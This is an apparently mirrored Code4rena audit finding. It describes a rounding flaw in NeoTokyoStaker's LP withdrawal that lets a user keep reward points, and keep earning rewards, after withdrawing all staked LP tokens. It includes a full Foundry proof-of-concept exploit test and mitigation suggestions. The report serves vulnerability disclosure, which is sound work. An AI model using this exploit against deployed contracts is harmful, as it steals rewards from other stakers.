Lucene search

K
code423n4Code4renaCODE423N4:2023-03-NEOTOKYO-FINDINGS-ISSUES-434
HistoryMar 15, 2023 - 12:00 a.m.

Ability to receive LP rewards without having any LP staked

2023-03-1500:00:00
Code4rena
github.com
6
lp tokens
staking rewards
vulnerability impact

Lines of code

Vulnerability details

Impact

The impact of this is high as a user is able to first stake LP tokens, then craftily withdraw them in specific increments without any change to their staking rewards. The user is able to get to a state in which they have 0 LP tokens staked, but have >0 LP token points, leading to >0 staking rewards. In this scenario, the user is then able to sell their LP tokens or use them in other ways while still earning rewards. This will effectively result in the user unfairly cheating the staking contract and other stakers. The impact of this bug is higher the smaller that lpPosition.multiplier is.

Proof of Concept

POC including preliminary state and steps (foundry test):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// utilities
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

// importing project files
import {LPToken} from "../test/lpToken.sol";
import {BYTES2} from "../staking/BYTES2.sol";
import {NeoTokyoStaker} from "../staking/NeoTokyoStaker.sol";

// EXPLOIT DESC: this is the POC for the high severity finding of when you stake LP and then you 
//               withdraw small amounts of the LP which will not decrease your points for the LP, 
//               meaning that you can sell off that LP that you are returned, up to where you can 
//               have amount = 0 LP and > 0 LP points, which you are still earning yield on (this 
//               is essentially cheating the system)
contract TestWithdrawLP1 is Test {

    // protocol users
    address admin = makeAddr('admin'); // project admin
    address user = makeAddr('user'); // user address

    // protocol contracts
    LPToken lpToken;
    BYTES2 bytes2Token;
    NeoTokyoStaker neoTokyoStaker;

    function setUp() public {
        // deploy the LP token
        vm.prank(admin);
        lpToken = new LPToken();
        vm.prank(admin);
        lpToken.mint(user,1e18);

        // deploy the BYTES2 token
        vm.prank(admin);
        bytes2Token = new BYTES2(
            address(0),address(0),address(0),address(0)
        );

        // deploy the staking contract
        vm.prank(admin);
        neoTokyoStaker = new NeoTokyoStaker(
            address(bytes2Token),address(0),address(0),address(lpToken),
            address(0),address(0),1_000e18,1_000e18
        );

        // setting the staker address in BYTES2 token contract
        // --rewards for staking LP tokens starts in 10 seconds & issues 1e18 in BYTES2 per sec in rewards
        vm.prank(admin);
        bytes2Token.changeStakingContractAddress(address(neoTokyoStaker));

        // configure the reward emission using configurePools(..)
        NeoTokyoStaker.RewardWindow memory rewardWindow = NeoTokyoStaker.RewardWindow(
            {startTime:10,reward:1e18}
        );
        NeoTokyoStaker.RewardWindow[] memory rewardWindows = new NeoTokyoStaker.RewardWindow[](1);
        rewardWindows[0]=rewardWindow;

        NeoTokyoStaker.PoolConfigurationInput memory poolConfigurationInputLP = NeoTokyoStaker.PoolConfigurationInput(
            {assetType:NeoTokyoStaker.AssetType.LP,daoTax:0,rewardWindows:rewardWindows}
        );

        NeoTokyoStaker.PoolConfigurationInput[] memory poolConfigurationInputs = new NeoTokyoStaker.PoolConfigurationInput[](1);
        poolConfigurationInputs[0]=poolConfigurationInputLP;

        vm.prank(admin);
        neoTokyoStaker.configurePools(poolConfigurationInputs);

        // configure the timelock options
        // --for LP tokens, must lock up tokens for at least 1 second(s), in return recieve multiplier of 1
        uint256 timelockOption = 1; // timeLock duration = 1
        timelockOption = timelockOption << 128;
        timelockOption = timelockOption | 1; // timeLock multiplier = 1

        uint256[] memory timelockIds = new uint256[](1);
        timelockIds[0]=0;

        uint256[] memory encodedSettings = new uint256[](1);
        encodedSettings[0]=timelockOption;

        vm.prank(admin);
        neoTokyoStaker.configureTimelockOptions(
            NeoTokyoStaker.AssetType.LP,timelockIds,encodedSettings
        );

        // setting block.timestamp so that the LP reward window is active
        vm.warp(block.timestamp+10); // 1+10
    }

    function testWithdrawLp() public {
        // user stakes 1e18 LP tokens - using the timelock w/ multiplier = 1
        vm.prank(user);
        lpToken.approve(address(neoTokyoStaker),type(uint256).max);

        vm.prank(user);
        neoTokyoStaker.stake(
            NeoTokyoStaker.AssetType.LP,0,1e18,0,0
        );

        // reached timestamp where user is able to withdraw their LP
        vm.warp(block.timestamp+2);

        // user will strategically withdraw LP such that they will recieve their LP back while not decreasing their points
        // user first withdraws the maximum amount of LP possible per call
        vm.prank(user);
        neoTokyoStaker.withdraw(
            NeoTokyoStaker.AssetType.LP,1e18-1
        );
        // user empties the remainder of their LP (this is for show, in the wild user will not withdraw 1 wei of LP)
        vm.prank(user);
        neoTokyoStaker.withdraw(
            NeoTokyoStaker.AssetType.LP,1
        );

        // at this point in time the user will have 0 LP staked, yet have > 0 LP points, meaning still receiving rewards
        // this is an invalid state where the user is cheating the staking contract
        (uint256 amount,, uint256 points,) = neoTokyoStaker.stakerLPPosition(user);
        assertEq(amount,0);
        assertGt(points,0);
        
        // with this improper state the user is still getting rewards without staking any assets
        uint256 startBalance = bytes2Token.balanceOf(user);
        vm.warp(block.timestamp+5); // simulate 5 more blocks of staking where the user has no actual assets staked
    
        vm.prank(user);
        bytes2Token.getReward(user);
        uint256 endBalance = bytes2Token.balanceOf(user);
        assertGt(endBalance,startBalance);

        // user has full control of the LP, meaning they can sell it or use it in other ways
        console.log(lpToken.balanceOf(user));
    }

}

Tools Used

Manual review

Recommended Mitigation Steps

The first approach is to ensure that lpPosition.multiplier is sufficiently high such that gas costs will always be greater than potential rewards. Another mitigation would be to require that users stake or withdraw LP tokens in increments which are large enough to avoid this issue (this would again be as a function of lpPosition.multiplier).


The text was updated successfully, but these errors were encountered:

All reactions